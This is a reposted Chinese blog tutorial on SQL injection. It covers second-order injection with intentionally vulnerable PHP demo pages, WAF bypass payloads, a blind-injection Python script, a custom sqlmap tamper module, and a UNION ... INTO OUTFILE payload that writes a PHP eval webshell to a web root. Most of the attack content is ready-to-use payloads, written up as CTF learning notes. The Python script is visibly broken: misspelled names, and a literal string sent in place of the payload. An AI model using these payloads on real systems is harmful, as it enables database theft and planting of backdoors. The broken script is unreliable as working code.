sql注入總結(二)--2018自我整理


0x00前言:

繼上篇的內容,這章總結下二次注入,python腳本,bypass

上篇sql注入總結(一)--2018自我整理

 

0x01二次注入:

二次注入的原理是在把非法代碼添加進數據庫里面存儲了,因為 \' 這種轉義不會把\(反斜杠)代入到數據庫中存儲,然后在其他地方調用了這個非法代碼並且拼接到sql語句中了

簡而言之

非法代碼             ==存入==>  數據庫        #非法代碼  \' 這種轉義的只會把 ' 存入數據庫

數據庫中的非法代碼字段 ==取出==> 后台語言中的變量中

后台語言變量的非法代碼 ==代入==> sql查詢語句中進行拼接

這里我手寫了個建議的二次注入原理代碼

插入數據頁面代碼input.php

<?php
    $conn = mysql_connect('localhost', 'root', 'root');
    mysql_select_db("test", $conn);
?>

<html>
    <head>
        <meta charset="utf-8">
    </head>
    <form action="" method="post">
        用戶id:<input type = "text" name="id" value="" /><br>
        用戶名:<input type = "text" name="username" value="" /><br>
        密碼:<input type = "text" name="password" value="" /><br>
        郵箱:<input type ="text" name="email" value="" /><br>
        <input type="submit" name="submit" />
    </form>
</html>

<?php
    $id = @addslashes($_POST['id']);
    $username = @addslashes($_POST['username']);
    $password = @addslashes($_POST['password']);
    $email = @addslashes($_POST['email']);
    $sql = "insert into userinfo values('$id','$username','$password','$email')";
    mysql_query($sql);
?>

查詢數據頁面代碼out.php

<?php
    $uid = $_GET['uid'];
    $conn = mysql_connect('localhost', 'root', 'root');
    mysql_select_db("test", $conn);
    $sql = "SELECT * FROM userinfo where id='$uid'";
    $result = mysql_query($sql);
    $ans = mysql_fetch_array($result);
    $username = $ans['username'];
    $sql2 = "SELECT * FROM userinfo where username='$username'";
    $result = mysql_query($sql2);
    $ans = mysql_fetch_array($result);
    var_dump($ans);

首先查看數據庫里面的數據,就2個

在input.php頁面添加信息,用戶名就是我們的注入代碼

再看數據庫,發現 \ 這個符號確實沒有被代入數據庫中存儲

在out.php中傳入get參數3,發現執行union聯合查詢輸出的1,2,database(),4。這里我數據庫名字叫做'test'

至此二次查詢的原理就是這樣,在ctf中曾做過一道二次查詢的題目

題目攻擊方式大致是通過注冊,如果執行成功主頁和執行失敗的主頁是有區別的,然后寫python腳本盲注得出flag

其中用戶名的代碼為

'or if((length((select database()))>0),1,0) or'

代入數據庫前完整代碼可能是
insert into user values('id','\'or if((length((select database()))>0),1,0) or\'','password')

取出數據時候的情況即
$username = $ans['username']    #$username = 'or if((length((select database()))>0),1,0) or'

第二次拼接的情況
mysql_query("select * from user where username = ''or if((length((select database()))>0),1,0) or'' ")

 那么還存在一種情況就是拼接的字段是id,但是id我們不可控,比如(當然該條件有個限制即 '(單引號) 沒有被轉義!!!!!!)

mysql_query("insert into userinfo values('4','$username', '$password', '$email')");

查詢語句根據username取出數據庫內容,再把id拼接到查詢語句
$id = $ans['Id'];
mysql_query("select * from userinfo where id = $id ")

這時候我們可以控制$email參數,做到寫入多組記錄

si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com

可以看到一口氣注冊了2個賬號,而5號賬號是我可控的(我將源代碼中input.php的addslashes給去除了)

類比下,如果只有中間的password我們可控的話

password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com'),('6','myname','password2    #這樣會出現3組數據
或者
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha                             #這樣就出現2組數據

 

0x02bypass:

寫bypass總有些心虛,因為自己知道的不多23333

雙寫繞過清空

有些waf是用preg_match將非法字符替換為空,比如

$sql = preg_match("/union|select/i", "", $sql)

它不是把你數據直接擋掉報錯,而是處理后仍然通行,在有/xx/i忽視大小寫可以雙寫

selselectect  ==去掉其中的select==> sel去掉的ect ==> select

url和base64編碼

其實這不怎么算bypass,但是有些書上也這么講,這里稍微寫下

在有些代碼中會對參數進行base64解碼,url解碼等操作,如果這些操作在轉義或者waf之后的話,就會逃過過濾達到注入的效果

如果在處理之前的話就沒有作用啦

內斂注釋

在有些在后台代碼上對關鍵字並未過濾,但是之后會經過安全軟件,再存入數據庫,有時候內斂注釋可以騙過安全軟件

/*!union*/    #其中的union是會執行的

空格被過濾

有2中辦法,通過括號或者/**/來完成不需要空格也能執行的方法

xx'/**/union/**/select/**/1,2,3,4/**/#
xx'union select(1),(2),(3)#
空格有個問題,它是將參數括起來來繞過空格,但是如果2個關鍵字比如這里的union和select沒法一個當另一個的參數,於是有時候這個方法也不靈

單引號的過濾

雖然sql注入第一步就是將單引號逃逸出來,但是有時候單引號逃逸了后會在單引號前面加些奇怪的東西,比如GBK寬字節注入

這時候可以hex編碼

'內容'  等價於 0x內容的十六進制編碼

'abc'   = 0x616263

特別的sprintf

有些時候會用sprintf來包裹sql語句,但是sprintf這個函數有個問題在,非正常的地方輸入%,會提示warning(如果沒有用@禁止的話)

利用方法,用 %1$' 代替 '

'  ==> %1$'
%1$'or 1=1 #

關鍵字的繞過

在總結一中歸納了  ,(逗號) 被過濾的方法

if(exp1, exp2, exp3)   =>  case when exp1 then exp2 else exp3 endsubstr(exp1, 1, 1)     => substr(exp1) from 1 for 1

如果 and 和 or 被過濾了

and   => &&
or    => ||

如果where被過濾了

where id='1'   =>  order by id having id='1' 

如果'='被過濾了

'='    =>  '<>'

如果'<','>','='被過濾了,但是要設置范圍

id = 1   ==> id between 1 and 1

關於json的編碼

之前做18年HCTF的時候,一道簡單的代碼審計題,會將cookie中的值代入waf中,然后再進入數據庫

關鍵點在於在經過waf后,它會進行json的解碼。

在json解碼中有個Unicode的編碼問題,有興趣大家可以百度下,我這里直接寫利用方法

json編碼可以用\u00xx (xx為16進制ascii碼)來用Unicode來編碼對應字符。如果waf在json_decode之前,那么可以通過這個方法繞過

'\u0075'  ==>  'u'

 

0x03python腳本

sqlmap十分強大,但是就算是level5,有時候也會被特別的waf給攔截,調用它的bypass模塊又記不住。這里就總結下自己怎么寫盲注python腳本

import requests
url = "xxxx"
flag = "" s = reuqests.session()      #獲取會話
for i in range(100):       #在bool還是延時注入的時候都要一個個試,假設我們這里不知道目標字段的長度就稍微設置個合適的
  for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.":    #這個是可能的字符,一個個試唄
    payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #"       #手工測出來有效的payload,當然實際情況會根據waf變個型
    data = {
      'username':'payload',
      'password':'123'
    }
    s.post(url,data=data)  #發送數據
    if "right" in s.text :  #如果返回值有在sql語句成功后有不同於失敗的時候的回顯,將該回顯當做判定
      flag += str(j)
      print flag
      beak

那么我們在知道替換規則的情況下可以自己寫sqlmap的bypass腳本

在sqlmap文件夾下的/tamper/下,自己創建個py文件

#!/usr/bin/env python
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.replace("'","%1$'")      #將什么替換成什么
    payload = payload.replace("u","\u0075")      #將什么替換成什么,可以寫很多個
    return payload

在sqlmap使用的時候調用這個模塊,即可使用自定義過程

sqlmap --tamper=模塊名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'

 

0x04將結果寫入文件達到getshell

寫入文件的前提是outfile這個關鍵字沒有被禁止,並且知道web站點的絕對路徑

使用方法是

xx' union select 1,2,'<?php eval($_POST[1]) ?>' into outfile '/var/www/html/sijidou.php' #

 

 

0xff結語

sql注入差不多我近一年來學到的就這些,可能還遠遠不夠,遇到一個記一個是個笨辦法,但也不失是一個好辦法。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM